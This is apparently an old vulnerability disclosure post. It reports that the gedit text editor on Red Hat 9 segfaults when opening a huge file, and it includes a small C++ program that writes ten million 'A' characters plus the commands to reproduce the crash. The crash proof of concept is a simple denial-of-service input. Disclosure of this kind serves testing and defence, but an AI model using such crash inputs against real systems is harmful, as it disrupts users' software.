Hello, I discover a strange but simple buffer overflow in gedit. I am using RH9, to demostrate the buffer here is a simple file buffer generator: ===========buffer.c == cut here=============== /* simple buffer overflow generator by MegaHz megahz () megahz org */ #include <iostream> using namespace std; int main() { int i; for (i=0;i<=9999999;i++) { cout << "A"; } return 0; } =========================================== # g++ -o buffer buffer.c # ./buffer > lala # gedit lala Segmentation fault # MegaHz (Andreas Constantinides) www.megahz.org www.cyhackportal.com
